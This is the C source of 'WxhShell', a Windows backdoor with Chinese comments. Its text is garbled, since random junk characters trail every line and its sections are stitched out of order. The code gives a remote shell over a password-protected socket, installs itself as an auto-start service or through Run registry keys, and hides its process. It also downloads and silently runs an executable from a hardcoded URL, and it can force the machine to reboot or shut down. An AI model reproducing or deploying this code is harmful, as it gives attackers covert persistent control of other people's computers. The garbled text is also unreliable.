  // 关机 f}yRTR GJv  
  case 'd': { fgqCX:SWz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }k.yLcXM  
    if(Boot(SHUTDOWN)) 6"_pCkn;c<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1L`V{\_0s  
    else { ,hf W2}  
    closesocket(wsh); 6D| F1UFU  
    ExitThread(0); Ko&4{}/  
    } 1 V]ws}XW  
    break; GG%;~4#2  
    } azFJ-0n@"  
  // 获取shell Gd|kAC g  
  case 's': { w7` pbcY,  
    CmdShell(wsh); S0StC$$1  
    closesocket(wsh); Ab[o~X"  
    ExitThread(0); b"\lF1Nf&o  
    break; fTpG>*{p  
  } -~c-mt  
  // 退出 Q&0`(okb  
  case 'x': { F=Xb_Gd`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3rK\ f4'  
    CloseIt(wsh); 8GBKFNR 8  
    break; E q4tcZ  
    } B.=n U  
  // 离开 Zb_A(mnzh  
  case 'q': { Z;N3mD+\ye  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z4 =OR@ h  
    closesocket(wsh); }J?,?>Z  
    WSACleanup(); _# Hd2h  
    exit(1); >NPK;Vu  
    break; .,6o):  
        } +\["HS7+'0  
  } `}`Qqv  
  } PK|qiu-O&*  
bLS10^g5  
  // 提示信息 q0q-Coh>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oAifM1*0  
} onmpMU7w  
  } =?W7OV^BE  
xyo~p,(~t  
  return; +@uA  
} j|8!gW  
$S' TW3  
// shell模块句柄 [^GBg>k  
int CmdShell(SOCKET sock) &3IkC(yD  
{ /&\ V6=jA1  
STARTUPINFO si; Pm#/j;  
ZeroMemory(&si,sizeof(si)); )a0l:jEOc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;HAvor=?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q\zaa9P  
PROCESS_INFORMATION ProcessInfo; kI a16m  
char cmdline[]="cmd"; 9:g A0Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _1RvK? ;.{  
  return 0; E5A"sB   
} 3f$n8>mq  
D5xQ  
// 自身启动模式 CH(Y.Kj-  
int StartFromService(void) M]X!D7  
{ D?%[du:V  
typedef struct B#hvw'}  
{ ?f9M59(l  
  DWORD ExitStatus; ~)#E?:h5  
  DWORD PebBaseAddress; LK4NNZf7  
  DWORD AffinityMask; ">!pos`<C  
  DWORD BasePriority; uO]|YF  
  ULONG UniqueProcessId; vn*K\,  
  ULONG InheritedFromUniqueProcessId; J|hVD  
}   PROCESS_BASIC_INFORMATION; G11KAq(  
YJ6:O{AL1  
PROCNTQSIP NtQueryInformationProcess; NRG06M  
q_ ^yma  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P7T'.|d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f99"~)B|  
ez9F!1  
  HANDLE             hProcess; @"h4S*U  
  PROCESS_BASIC_INFORMATION pbi; I@z@s}x>  
prt(xr4@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qi~-<qW  
  if(NULL == hInst ) return 0; 3]'ab-,Vp  
t$,G%micj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LmyaC2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uc_ }="  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pRh9+1EM;  
o "0 ~  
  if (!NtQueryInformationProcess) return 0; /Z]nV2$n)V  
I9L3Y@(f6m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (e5Z^9X  
  if(!hProcess) return 0; ^w%%$9=:r  
b3_P??yp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3n)Kzexh  
8mmnnf{P  
  CloseHandle(hProcess); Z" H;t\P  
*tT}N@<%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PA803R74  
if(hProcess==NULL) return 0; .7 )oWd!  
SIm1fC  
HMODULE hMod; qZ E3T:S  
char procName[255]; A@_>9;   
unsigned long cbNeeded; ~9APc{"A  
;X]B0KFe7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I)#8}[vK  
rSt5 @f?  
  CloseHandle(hProcess); 'hWA&Xx +  
` ;mQ"lO  
if(strstr(procName,"services")) return 1; // 以服务启动 # hn  
R+ \%  
  return 0; // 注册表启动 C7R3W,  
} I6;6x  
yKrb GK*=_  
// 主模块 BI%~0 Gj8  
int StartWxhshell(LPSTR lpCmdLine) -1B.A  
{ 6ERMn"[_w  
  SOCKET wsl; #wT6IU1  
BOOL val=TRUE; x&J\swN9  
  int port=0; .czUJyFms}  
  struct sockaddr_in door; nu+^D$ait  
0+1!-Wo  
  if(wscfg.ws_autoins) Install(); 4x-,l1NMR  
G"m0[|XH  
port=atoi(lpCmdLine); ]!!?gnPd5  
bJ 6ivz  
if(port<=0) port=wscfg.ws_port; e0TxJ*  
ny+r>>3Td  
  WSADATA data; U!Zj%H1XQ0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T#!% Uzz  
h*y+qk-!\g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f^hJAZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &R.5t/x_  
  door.sin_family = AF_INET; $ S3b<]B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u/|@iWK:  
  door.sin_port = htons(port); q,#s m'S  
Opf)TAl{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ipMSMk7gx  
closesocket(wsl); 6Hb a@Q1`  
return 1; FsO-xG"@"  
} KC; o   
S]%,g%6i  
  if(listen(wsl,2) == INVALID_SOCKET) { W{q P/R  
closesocket(wsl); 1 Vc_jYO@  
return 1; NL `  
} #E=8kbD7  
  Wxhshell(wsl); "8ZV%%elp  
  WSACleanup(); A9SL|9Q  
:ln| n6X  
return 0; 8;"%x|iBoL  
,)d`_AD+5  
} kR^">s/H#  
!D{z. KO  
// 以NT服务方式启动 E Lq1   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rq7yNt  
{ $$0 < &  
DWORD   status = 0; \VIY[6sn\M  
  DWORD   specificError = 0xfffffff; q Sv!5&u  
7;'UC','  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,#;`f=aqTG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [#\OCdb*3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OOIp)=4  
  serviceStatus.dwWin32ExitCode     = 0; ZHeue_~x4  
  serviceStatus.dwServiceSpecificExitCode = 0; [ywF!#'){  
  serviceStatus.dwCheckPoint       = 0; X1}M_h %  
  serviceStatus.dwWaitHint       = 0; FdnLxw  
!.V_?aYi8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hmLI9TUe6  
  if (hServiceStatusHandle==0) return; "8z Me L  
 Br s}  
status = GetLastError(); v_%6Ly  
  if (status!=NO_ERROR) {U3jJ#K  
{ p}!)4EI=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lQ ki58.  
    serviceStatus.dwCheckPoint       = 0; af6<w.i  
    serviceStatus.dwWaitHint       = 0; 6?US<<MQ  
    serviceStatus.dwWin32ExitCode     = status; @%u}|iF|  
    serviceStatus.dwServiceSpecificExitCode = specificError; @|ZUyat  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >a2[P"   
    return; GFbn>dY  
  } #2Q%sE?  
RYC%;h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B&59c*K  
  serviceStatus.dwCheckPoint       = 0; hB\BFVUSn/  
  serviceStatus.dwWaitHint       = 0; AZNo%!)o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zn= pm#L  
} mqJD+ K  
og+Vrd  
// 处理NT服务事件,比如:启动、停止 }mZCQJ#`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UBQtD|m\  
{ U$a)lcJd  
switch(fdwControl) f]Aa$\@b  
{ /#_[{lSr?  
case SERVICE_CONTROL_STOP: >yVrIko  
  serviceStatus.dwWin32ExitCode = 0; L!/{Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G;t< dJ8  
  serviceStatus.dwCheckPoint   = 0; Jq>5:"jZ0  
  serviceStatus.dwWaitHint     = 0; IWN18aaL?  
  { @*op5qVw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^5 "yY2}-  
  } mpDxJk!   
  return; ~]W @+\l  
case SERVICE_CONTROL_PAUSE: h= YTgJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~k 6V?z}  
  break; /N/jwLr  
case SERVICE_CONTROL_CONTINUE: 1dp8'f5^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l!j=em@  
  break; +['1~5  
case SERVICE_CONTROL_INTERROGATE: $'*{&/@  
  break; MbTmdRf  
}; UNrO$aX!1'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @frV:%  
} tg/!=g  
B~< bc  
// 标准应用程序主函数 2ss*&BR.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 65+2+p  
{ XL1x8IB  
h;cw=G  
// 获取操作系统版本 $Zrc-tkV  
OsIsNt=GetOsVer();  V2 ;?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }b<w\9AF  
kOel !A  
  // 从命令行安装 `v/p4/  
  if(strpbrk(lpCmdLine,"iI")) Install(); H}usL)0&&  
6TQ[2%X'  
  // 下载执行文件 G)3r[C^[k  
if(wscfg.ws_downexe) { mI^S% HT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uD4W@*PYr  
  WinExec(wscfg.ws_filenam,SW_HIDE); J?&%fI  
} #V[Os!ns  
3Z}m5f`t  
if(!OsIsNt) { =| r% lx  
// 如果时win9x,隐藏进程并且设置为注册表启动 ub4(g~E  
HideProc(); AY9#{c>X  
StartWxhshell(lpCmdLine); [F27i#'I]  
} RS{E|  
else =AuxME g  
  if(StartFromService()) cdL0<J b,  
  // 以服务方式启动 (gutDUO;  
  StartServiceCtrlDispatcher(DispatchTable); soB_j  
else 91FVe  
  // 普通方式启动 w (odgD  
  StartWxhshell(lpCmdLine); 'z};tIOKJk  
[hiV #  
return 0; lp1GK/!s  
} #6 $WuIG  
17ynFHMd,  
~y:?w(GD  
X'7MW? q@  
=========================================== P`n"E8"ab<  
xI5zP? _v  
}~ga86:n0  
AT"!Ys|  
l27J  
Mbxrj~ue  
" iB{l:  
B,{Q[  
#include <stdio.h> tHH @[E+h  
#include <string.h> chU,));F  
#include <windows.h> 8-Z|$F"  
#include <winsock2.h> O6\t_.  
#include <winsvc.h> hh^_Z| 5  
#include <urlmon.h> w `>g^_xsg  
JjBlje  
#pragma comment (lib, "Ws2_32.lib") +?C7(-U>  
#pragma comment (lib, "urlmon.lib") N8`q.;qewz  
V_H0z  
#define MAX_USER   100 // 最大客户端连接数 T:w%RF[v9  
#define BUF_SOCK   200 // sock buffer DcNwtts  
#define KEY_BUFF   255 // 输入 buffer G -RE  
]Cc8[ZC  
#define REBOOT     0   // 重启 Y ^}c+)t  
#define SHUTDOWN   1   // 关机 FmtV[C #  
+C`zI~8  
#define DEF_PORT   5000 // 监听端口 *>7Zc  
/cZ-+cu  
#define REG_LEN     16   // 注册表键长度 GuRJ  
#define SVC_LEN     80   // NT服务名长度 7j{63d`2  
gib;> nuBK  
// 从dll定义API Q+^"v]V`d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h8?E+0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NGuRyZp69&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jH]?vpP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JO|xX<#:  
]*yUb-xY  
// wxhshell配置信息 j{H,{x  
struct WSCFG {  u~j&g  
  int ws_port;         // 监听端口 aumM\rY  
  char ws_passstr[REG_LEN]; // 口令 N5@l[F7I  
  int ws_autoins;       // 安装标记, 1=yes 0=no [O^mG 9  
  char ws_regname[REG_LEN]; // 注册表键名 Q~$hx{foN  
  char ws_svcname[REG_LEN]; // 服务名 Gq;!g(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t p3 !6I6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e4Jx%v?_P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FDIOST !  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gbc2\A\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }FT8 [m<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :pg]0X;  
!l#n.Fx&3  
}; 6^hCW`jG  
](sT,'  
// default Wxhshell configuration \={A%pA;@{  
struct WSCFG wscfg={DEF_PORT, U jB5Xks  
    "xuhuanlingzhe", U:O&FE  
    1, "A3V(~%!  
    "Wxhshell", Mp`i@pm+  
    "Wxhshell", [[vbw)u  
            "WxhShell Service", fk?(mxx"  
    "Wrsky Windows CmdShell Service", !1Z rS  
    "Please Input Your Password: ", 3^p;'7x  
  1, ]ZM-c~nL  
  "http://www.wrsky.com/wxhshell.exe", |j~{gfpSE  
  "Wxhshell.exe" h<IPV'1  
    }; v L!?4k  
f!+G1z}iA  
// 消息定义模块 ]sV) '-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CC{{@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [[VB'Rs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .V\: )\<|  
char *msg_ws_ext="\n\rExit."; Tq!.M1{&  
char *msg_ws_end="\n\rQuit."; E0<$zP}V}F  
char *msg_ws_boot="\n\rReboot..."; 3q:>NB<  
char *msg_ws_poff="\n\rShutdown..."; C(lGW,!  
char *msg_ws_down="\n\rSave to "; s N|7   
Xmaj7*f>p  
char *msg_ws_err="\n\rErr!"; *S{fyYyM  
char *msg_ws_ok="\n\rOK!"; WeRX~  
kJG0X%+w  
char ExeFile[MAX_PATH]; 0N4+6k|  
int nUser = 0; m<| *  
HANDLE handles[MAX_USER]; i[a1ij=  
int OsIsNt; CxJkT2  
=@0/.oSD  
SERVICE_STATUS       serviceStatus; qr_:zXsob_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'AJlkLqm#>  
.z&,d&E  
// 函数声明 <B3$ODGJp  
int Install(void); xE%sPWbj  
int Uninstall(void); )NL_))\  
int DownloadFile(char *sURL, SOCKET wsh); 29AWg(9?aS  
int Boot(int flag); LKe ~  
void HideProc(void); t {RdqAF  
int GetOsVer(void); =6LF_=}  
int Wxhshell(SOCKET wsl); $g!~T!p=  
void TalkWithClient(void *cs); oBZzMTPe  
int CmdShell(SOCKET sock); i4^1bd  
int StartFromService(void); $kCLS7 *  
int StartWxhshell(LPSTR lpCmdLine); [ nG@ 3n  
oV Hh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \?rBtD(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &WAJ;7f  
%P tdFz$  
// 数据结构和表定义 i2(lqhaP  
SERVICE_TABLE_ENTRY DispatchTable[] = l!YjDm{E  
{ T9=55tpG9  
{wscfg.ws_svcname, NTServiceMain}, m*Q*{M_e  
{NULL, NULL} :Vl2\H=P  
}; ;Alw`'  
EwH_k  
// 自我安装 <\C/;  
int Install(void) } qn@8}  
{ ; E]^7T  
  char svExeFile[MAX_PATH]; 25CO_  
  HKEY key; F9 q9BH  
  strcpy(svExeFile,ExeFile); >,s.!vpK  
;^Hg\a  
// 如果是win9x系统,修改注册表设为自启动 &$+nuUA  
if(!OsIsNt) { dE0 p>4F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^t#W?rxp&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !%s&GD8&l  
  RegCloseKey(key); {Wp5Ane  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |#_`aT"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eggdj+  
  RegCloseKey(key); wEJ) h1=)^  
  return 0; s`Z'5J;S  
    } v<c@bDZ>  
  } 5<?s86GHh'  
} |'" 17c&  
else { @ATJ|5.gr  
)`B n"=  
// 如果是NT以上系统,安装为系统服务 [>N`)]fP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KoL3CA"N  
if (schSCManager!=0) gV-x1s+  
{ x]%'^7#v)  
  SC_HANDLE schService = CreateService KaGG4?=V  
  ( ,Kw]V %xOb  
  schSCManager, B qA  
  wscfg.ws_svcname, 2AK]x`GY  
  wscfg.ws_svcdisp, DsZBhjCB  
  SERVICE_ALL_ACCESS, a= *qsgPGL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e;ej/)no`  
  SERVICE_AUTO_START, ="*:H)  
  SERVICE_ERROR_NORMAL, i1E~F  
  svExeFile, f R?Xq@c  
  NULL, N 2\lBi  
  NULL, 8kwe._&)  
  NULL, Bw;LGEHi|  
  NULL, /:],bNb  
  NULL hwR_<'!  
  ); p2Fff4nQ   
  if (schService!=0) {j{H@rHuy  
  { a.O pxd  
  CloseServiceHandle(schService); p^uX{!  
  CloseServiceHandle(schSCManager); R<GnPN:c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V`/D!8>  
  strcat(svExeFile,wscfg.ws_svcname); q;<=MO/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QFS5PZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eAPNF?0yh  
  RegCloseKey(key); CCQ38P@rv  
  return 0; a\BV%'Zqg  
    } fI([vI  
  } 5i42o+'  
  CloseServiceHandle(schSCManager); i G%h-  
} Cj6+zJ  
} +4Uxq{.K  
,fa'  
return 1; 2[8C?7_K0?  
} }KZt7)  
|)vC^=N{+  
// 自我卸载 7\?0d!  
int Uninstall(void) IW<nfg  
{ BlrZ<\-/  
  HKEY key; (ndTEnpp  
L~u@n24  
if(!OsIsNt) { 6 ?C|pO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?mCino  
  RegDeleteValue(key,wscfg.ws_regname); n8dJ6"L<"  
  RegCloseKey(key); >A RZ=x[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Kz baBK  
  RegDeleteValue(key,wscfg.ws_regname); qP}187Q1  
  RegCloseKey(key); +%%Ef]  
  return 0; }+{ ? Ms  
  } 7|/Ct;oO:  
} [$<\*d/  
} ?{Rv/np=F  
else { knsTy0]  
c :{#H9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g]V_)}  
if (schSCManager!=0) m@Vz42g~+  
{ @*VfG CQ(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z@G[\"  
  if (schService!=0) TJY  [s-  
  { 2`?58&  
  if(DeleteService(schService)!=0) { ip`oL_c  
  CloseServiceHandle(schService); 7`c\~_Df_  
  CloseServiceHandle(schSCManager); aA|<W g  
  return 0; XJ3p<  
  } Ww[Xqmg  
  CloseServiceHandle(schService); P,}cH;w6Ck  
  } fUg<+|v*  
  CloseServiceHandle(schSCManager); 5>e#SW  
} m'b9 f6  
} MN.h,^b  
Ddr.kXIpo  
return 1; 2.>WR~ \  
} Sz_{#-  
Z?);^m|T  
// 从指定url下载文件 o;zU;pkB  
int DownloadFile(char *sURL, SOCKET wsh) @|jLw($Ly  
{ s6k@WT?"^  
  HRESULT hr; fK %${   
char seps[]= "/"; uSl&d  
char *token; u3B[1Ae:K  
char *file; YXi'^GU@  
char myURL[MAX_PATH]; UBm L:Qv  
char myFILE[MAX_PATH]; %tOGs80_{  
C;UqLMrOI  
strcpy(myURL,sURL); WP5QA8`3  
  token=strtok(myURL,seps); YcaomPo  
  while(token!=NULL) e` QniTkT  
  { @F-InfB8.  
    file=token; 5vmc'Om  
  token=strtok(NULL,seps); sgGXj7  
  } $\w<.)"#  
<Pm!#)-g9  
GetCurrentDirectory(MAX_PATH,myFILE); ]27  
strcat(myFILE, "\\"); )43\qIu\  
strcat(myFILE, file); Y_gMoo  
  send(wsh,myFILE,strlen(myFILE),0); @BfJb[A#  
send(wsh,"...",3,0); :< d.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I0qS x{K  
  if(hr==S_OK) g5OKhL0u  
return 0; x%!Ea{ s  
else n`Y"b&  
return 1; 0|J]EsPxu  
"?X,);5S  
} A5\00O~  
X9-WU\?UC  
// 系统电源模块 nqFJNK]a  
int Boot(int flag) ){I0  
{ (^@rr[. o7  
  HANDLE hToken; T) Zef  
  TOKEN_PRIVILEGES tkp; C$+z1z.!  
IW{}l=D/  
  if(OsIsNt) { d$H   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hb.^ &  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @,:6wKMc  
    tkp.PrivilegeCount = 1; \`:nmFO(9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AbExJ~JV\g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F4*ssx  
if(flag==REBOOT) { 4x)etH^o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k',#T932x1  
  return 0; %4QpDt  
} ;}dvc7  
else { s?5vJ:M Xr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1`Ig A0V`"  
  return 0; iCtDV5  
} 0R-J \  
  } kdP*{  
  else { $A;%p6PO)  
if(flag==REBOOT) { m4r<=o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cSD$I^$oq  
  return 0; euyd(y$'k  
} j6:jN-z  
else { dHsI<:T#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nf0]<x2  
  return 0; Pxvf"SXX  
} ,6 IKkyD  
} B6yTD7  
jAcrXB*  
return 1; ! }>CEE  
} 0sA+5*mdM  
KSAE!+  
// win9x进程隐藏模块 ;I/ A8<C  
void HideProc(void) h.*v0cq:  
{ :Dj0W8V  
S?[@/35)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7C9_;81_Dt  
  if ( hKernel != NULL ) /os,s[w  
  { } 3}H}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +WjX@rSq[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~+)>D7  
    FreeLibrary(hKernel); nCS" l5  
  } `*ALb|4ilG  
bgYUsc*uR  
return; N XCvS0/h  
} ='t}d>l  
AGGT] 58|  
// 获取操作系统版本 !+u K@z&G  
int GetOsVer(void) agkGUK/  
{ +^DDWVp  
  OSVERSIONINFO winfo; Z0[d;m*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Zz.n5c  
  GetVersionEx(&winfo); ueyQ&+6r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NZ"nG<;5  
  return 1; r])V6 ^U  
  else 82M` sk3.  
  return 0; U0;pl2  
} VTa%  
"WzKJwFr  
// 客户端句柄模块 ubv>* iO  
int Wxhshell(SOCKET wsl) Y$5uoq%p3A  
{ w,az{\  
  SOCKET wsh; aD+4uGN  
  struct sockaddr_in client; wJZuJ(  
  DWORD myID; 1Ror1%Q"?  
 i}_"  
  while(nUser<MAX_USER) L|L;<  
{ Sh2BU3  
  int nSize=sizeof(client); akF T 0@9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7^7Jh&b)/  
  if(wsh==INVALID_SOCKET) return 1; w{*PZb4  
\(MI DCZ@-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^ -4~pDv^  
if(handles[nUser]==0) Q2!5  
  closesocket(wsh); A5T&i]  
else '3 b'moy  
  nUser++; X'88W-  
  } DNr*|A2<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -wT!g;v;%  
` {qt4zd0  
  return 0; .I?~R:(Ig  
} CTS1."kx1  
q B IekQT  
// 关闭 socket 8iTB  
void CloseIt(SOCKET wsh) 4.p:$/GTS  
{ D94bq_2}  
closesocket(wsh); BwkY;Ur/AL  
nUser--; K)9Rw2-AJ  
ExitThread(0); *M)M!jTv  
} }K5okxio  
I^nDO\m <  
// 客户端请求句柄 f92z/5%V  
void TalkWithClient(void *cs) osl\j]U8  
{ 2qot(Zs1i  
K3Bw3j 9  
  SOCKET wsh=(SOCKET)cs; e#)NYcr6  
  char pwd[SVC_LEN]; P{x6e/  
  char cmd[KEY_BUFF]; %Z p|1J'"  
char chr[1]; \Si p  
int i,j; ?qb35  
 !TivQB  
  while (nUser < MAX_USER) { Sn0kJIb }  
 l5 ]  
if(wscfg.ws_passstr) { T%;V_iW-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :..WL;gC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5DDSo0E  
  //ZeroMemory(pwd,KEY_BUFF); SK#&%Yk  
      i=0; %E5b }E#  
  while(i<SVC_LEN) { 16>D?;2o(  
P2@Z7DhQ  
  // 设置超时 q^:VF()d_z  
  fd_set FdRead; 5rmU9L  
  struct timeval TimeOut; BA2J dU  
  FD_ZERO(&FdRead); +4  h!;i  
  FD_SET(wsh,&FdRead); i)'tt9f$  
  TimeOut.tv_sec=8; p="0Y<2l  
  TimeOut.tv_usec=0; J?dLI_{ <  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ! Sw=ns7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OIJT~Z}  
zO---}[9a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5rR44  
  pwd=chr[0]; BN `2UVH  
  if(chr[0]==0xd || chr[0]==0xa) { :G6aO  
  pwd=0; r^a:s]  
  break; T-#4hY`  
  } `/Rqt+C  
  i++; c6lCF &  
    } [_nOo`  
@TQ/Z$y  
  // 如果是非法用户,关闭 socket F}7sb#G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5.*,IedY  
} ? 3OfiGX?  
Xi1|%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `IEA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7FJ4;HLQ  
c -PZG|<C[  
while(1) { TZ+ p6M8G  
araXE~Ac  
  ZeroMemory(cmd,KEY_BUFF); 7f}uRXBV$A  
8]Tv1Wc  
      // 自动支持客户端 telnet标准   ,~=]3qmbR  
  j=0; Ix6\5}.c9  
  while(j<KEY_BUFF) { cFt&Efj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hPUAm6 b;  
  cmd[j]=chr[0]; ^Fh*9[Zf$  
  if(chr[0]==0xa || chr[0]==0xd) { FuBt`H  
  cmd[j]=0; v7SYWO#  
  break; 1*yxSU@uY  
  } m$_b\^we  
  j++; J_ h.7V  
    } I8YUq   
& W od  
  // 下载文件 *g,ls(r\[  
  if(strstr(cmd,"http://")) { +8C }%6aX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z[OX {_2]K  
  if(DownloadFile(cmd,wsh)) jLVG=rOn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yKoZj   
  else _ ,s^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q~b# ml2QS  
  } uE41"?GS  
  else { In^mE(8YO  
>7PQOQMW'  
    switch(cmd[0]) { 5h&sdzfG  
  aZ4?! JW.  
